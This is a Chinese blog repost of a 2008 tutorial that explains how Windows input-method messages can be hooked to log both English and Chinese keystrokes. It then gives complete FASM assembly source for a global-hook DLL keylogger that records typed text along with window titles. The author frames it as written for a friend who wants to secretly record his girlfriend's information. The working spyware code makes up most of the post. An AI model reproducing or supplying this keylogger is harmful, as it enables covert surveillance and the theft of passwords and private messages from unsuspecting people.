打造中英文键盘记录(从原理剖析)

偶然在网上看到的,代码网上到处都是,但讲到原理的还真不多

原文链接: http://www.hackeye.com/article/5223/

打造中英文键盘记录(从原理剖析)

2008年6月16日 1,321次阅读
0
顶一下

作者:小鱼

传说中超级淫荡的分割线….
//———————————————————————————–

由于昨天朋友找我让我帮他写个支持中英文键盘记录插件,他想记录他女朋友的一些信息。昨天就研究了一下。截获英文我就不用
说了吧(太简单了),也不是我们本篇文章所探究的。

截获ASCII字符,大家可以通过注册WH_CALLWNDPROC 或者 WH_KEYBOARD 和 WH-GETMESSAGE钩子 来截获相关按键的虚拟码和通过
windows转换后的wm_char消息。 当然你在通过WH_KEYBOARD钩子截获按键 按上和按下的时候获得键盘驱动所发给windows系统
的虚拟码后,自己通过其特定的编码规则进行转换,但这无疑是一项非常庞大的工程。。

有无简单的方法呢? 当然有了,如果没有也就没有今天的文章了。 呵呵。。在这里我就要说下一个概念了。windows下的汉字
输入法其实是将输入的ASCII字符串按照一定的编码规则组合成汉字。但是windows很聪明,它不可能让这个转换的任务交给我们应用
程序,所以这个重任就放到了windows系统管理中了。。

 我们大家平时在输入汉字的时候,都要切换下输入法。例如我想很多人都喜欢用“搜狗输入法吧”,我就在用。o(∩_∩)o…
在我们切换输入法的时候,这个时候我们的键盘消息就要又经过一个途径,才能转发到我们的窗口过程中。 这个途径大致如下图。

键盘事件 应用程序
| |
Windows的user.exe

输入法管理器
|
输入法

当我们切换输入法后,输入的字符这时候不会直接发送到我们的窗口过程,而是经过一道途径。是windows将键盘事件发送到
windows的user.exe进程中,user进程再讲键盘事件发送到输入法管理器(Input Method Manager,简称IMM)中。输入法管理器
最后再将键盘事件传送到输入法中,输入法这个时候会根据用户的编码字典,翻译键盘事件为对应的汉字,然后在发送到user.exe,
user.exe再将翻译后的键盘事件传给正在运行的应用程序,从而完成汉字的输入。

我想大家看到这里,聪明的朋友应该可以明白,我们截获的时机就在这里。在输入法将键盘消息通过用户编码字典转换成汉字
后,我们在进行截获,这样我们得到的就是编码后的汉字了。。 嘿嘿,是不是很爽啊。

好,思路已经有了。我们下面来看具体的分析:

我们知道我们windows是基于消息机制的,那么在完成编码后,会不会发送消息呢?没错,在输入法将键盘事件通过用户编码
字典翻译成汉字的时候会触发:WM_IME_COMPOSITION消息,这个消息是输入法将输入的编码保存到编码结构时候会触发。所以我们
只要拦截这个消息,并且每个一个ime(也就是输入法编辑器)都会有一个输入法相关的部分,简称为IMC 。

IMC还包含一个部件,IMCCI,IMCCI是INPUTCONTEXT 结构的成员。

由于windows的各种资源是通过句柄来表示的,imc也是通过句柄来表示的,我们只要取得其句柄就可以通过其输入法管理器
提供的函数来操作imc。

输入法管理器提供了一个接口函数ImmGetContext 来获得其imc的句柄。

那么获得句柄以后呢,我在上面已经说了。 在完成编码的时候会触发WM_IME_COMPOSITION,并且完成的编码保存到编码
结构中,所以此时我们只要通过特定的函数来取得编码结构中存放的之前编码的结果,这样我们取到的就是其特定转换后的汉字了。

呵呵,输入法管理器同样提供给我们了一个接口函数ImmGetCompositionString函数。

这个函数可以取得将编码结构中的编码结果取得到特定的缓冲区。。

ImmGetCompositionString 还有一个技巧,就是可以取得编码结构中编码结构的字节大小。

这正好给我们提供了方便嘛。我们直接通过ImmGetCompositionString来取得大小,然后在通过ImmGetCompositionString
获得编码结构到我们的缓冲区。。

最后我们通过ImmReleaseContext来释放imc。

好接下来我来画个流程。。

注册全局钩子
|

| 钩子函数 |
如果是WM_IME_COMPOSITION 如果是WM_CHAR

我们首先注册全局钩子,然后钩子函数来判断其消息如果是WM_CHAR则表示我们此时输入的是字母。如果是
WM_IME_COMPOSITION表示目前我们通过输入法来输入汉字,我们截获汉字的时机也就在这里。

我们可以通过注册 WH_GETMESSAGE 钩子,这时候我们就可以通过其判定消息来分别处理。当然你可以
注册多个钩子,例如再注册一个Wh_KEYBOARD,来获得一些特殊的字符并自行处理下。防止WM_CHAR显示的是其windows默认
翻译的。

到此,我们已经从原理深入的剖析了整个流程。 此时,赶紧去实践吧大家。。。 给一个我写的键盘记录插件的例子
,可能还存在不足,因为一些特殊的字符我懒得处理了。大家可别学我啊,该勤奋的时候就得勤奋那。呵呵。 其实pcshare也是通过
此种方法来实现的中英文记录。。 如果您有更好的方法,也请麻烦告知我下…

代码:

format PE GUI 4.0 DLL

entry DllEntry

include 'win32ax.inc'

WM_IME_COMPOSITION equ 010Fh
GCS_RESULTSTR equ 0800h

section '.data' data readable writeable

hInstance rd 1
dwStrSize rd 1
hParent rd 1
szClassName db 'Edit', 0
szChina db 20 dup (?)
data import
library user32, 'user32.dll',/
kernel32, 'kernel32.dll',/
imm32, 'imm32.dll'

include 'api/kernel32.inc'

include 'api/user32.inc'

import imm32,/
ImmGetContext, 'ImmGetContext',/
ImmReleaseContext, 'ImmReleaseContext',/
ImmGetCompositionString, 'ImmGetCompositionStringA'
end data

section '.bss' data readable writeable shareable

_hWnd rd 1
hHook rd 1
hImc rd 1
_dwMessage rd 1
hEdit rd 1
hWindow rd 1
szTemp db 'hello world', 0
szTitleTemp db 0ah, 0dh, '[%s -]', 0, 0ah, 0dh
szTitle db 50 dup (?)
szOldTitle db 50 dup (?)
szBuffer db 100 dup (?)
szChinaWindow db 50 dup (?)
szChar db 4 dup (?)

section '.text' code readable executable

proc DllEntry hInstDLL, dwReason, lpReserved

push dword [ebp+8]

pop dword [hInstance]

sub eax, eax

inc eax

ret

endp

;

; String Cpy Function

;

proc StrCpy lpDest, lpSrc

pushad

mov esi, [lpS
rc]

mov edi, [lpDest]

xchg esi, edi

push edi ; lpSrc

xor eax, eax

cld

mov ecx, 0FFFFFFFFh

repne scasb

je @f

pop edi

popad

return 0

@@:

not ecx

pop edi

xchg edi, esi

push ecx

shr ecx, 2

rep movsd

pop ecx

and ecx, 3

rep movsb

popad

return 1

endp

proc StrCmp lpDest, lpSrc

pushad

mov esi, [lpDest]

mov edi, [lpSrc]

push edi

mov ecx, 0FFFFFFFFh

cld

xor eax, eax

repne scasb

je @f

pop eax

return 0

@@:

not ecx

pop edi

repe cmpsb

je @f

popad

return 0

@@:

popad

return 1

endp
;

; CALLBACK HookProc

;

proc HookProc dwCode, wParam, lParam

pushad

invoke CallNextHookEx, [hHook], [dwCode], [wParam], [lParam]

mov edx, [lParam]

virtual at edx
@hWnd dd ?
@MSG dd ?
@wParam dd ?
@lParam dd ?
@dwTime dd ?
@dwpt dd ?
end virtual

cmp [@MSG], WM_CHAR

je __HookChar

cmp [@MSG], WM_IME_COMPOSITION

je __HookImeChar

jmp __HookEnd

__HookChar:

push dword [@wParam]

pop dword [szChar]

invoke GetForegroundWindow

invoke GetWindowText, eax, szTitle, 50

stdcall StrCmp, szOldTitle, szTitle

or eax, eax

jne @f

stdcall StrCpy, szOldTitle, szTitle

invoke wsprintf, szBuffer, szTitleTemp, szOldTitle

add esp, 0ch

invoke SendMessage, [hEdit], EM_REPLACESEL, 0, szBuffer
@@:
invoke SendMessage, [_hWnd], [_dwMessage], dword [szChar], 0

jmp __HookEnd

__HookImeChar:

invoke GetFocus

mov [hParent], eax

invoke GetParent, eax

mov [hWindow], eax

invoke GetWindowText, eax, szChinaWindow, 50

stdcall StrCmp, szOldTitle, szChinaWindow

or eax, eax

jne @f

stdcall StrCpy, szOldTitle, szChinaWindow

invoke wsprintf, szBuffer, szTitleTemp, szOldTitle

add esp, 0ch

invoke SendMessage, [hEdit], EM_REPLACESEL, 0, szBuffer

@@:

invoke ImmGetContext, [hParent]

or eax, eax

je __HookEnd

mov [hImc], eax

invoke ImmGetCompositionString, [hImc], GCS_RESULTSTR, 0, 0

or eax, eax

je __HookEnd

mov [dwStrSize], eax

inc [dwStrSize]

inc [dwStrSize]

push edi

push ecx

mov edi, szChina

cld

mov ecx, [dwStrSize]

xor eax, eax

rep stosb

pop ecx

pop edi

invoke ImmGetCompositionString, [hImc], GCS_RESULTSTR, szChina, [dwStrSize]

invoke SendMessage, [hEdit], EM_REPLACESEL, 0, szChina

invoke ImmReleaseContext, [hParent], [hImc]

__HookEnd:

popad

return

endp

;

; InstallHook Proc

;

proc StartHook hWnd, dwMessage

push dword [ebp+8h]

pop dword [_hWnd]

push dword [ebp+0Ch]

pop dword [_dwMessage]

invoke FindWindowEx, [_hWnd], NULL, szClassName, NULL

or eax, eax

je @f

mov [hEdit], eax

@@:
invoke SetWindowsHookEx, WH_GETMESSAGE, HookProc,/
[hInstance], NULL

mov [hHook], eax

ret

endp

;

; UnInstallHook Proc

;

proc StopHook

invoke UnhookWindowsHookEx, [hHook]

ret

endp

section '.rdata' data readable writeable export

export 'hook.dll',/
StartHook, 'StartHook',/
StopHook, 'StopHook'

section '.reloc' data readable fixups

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值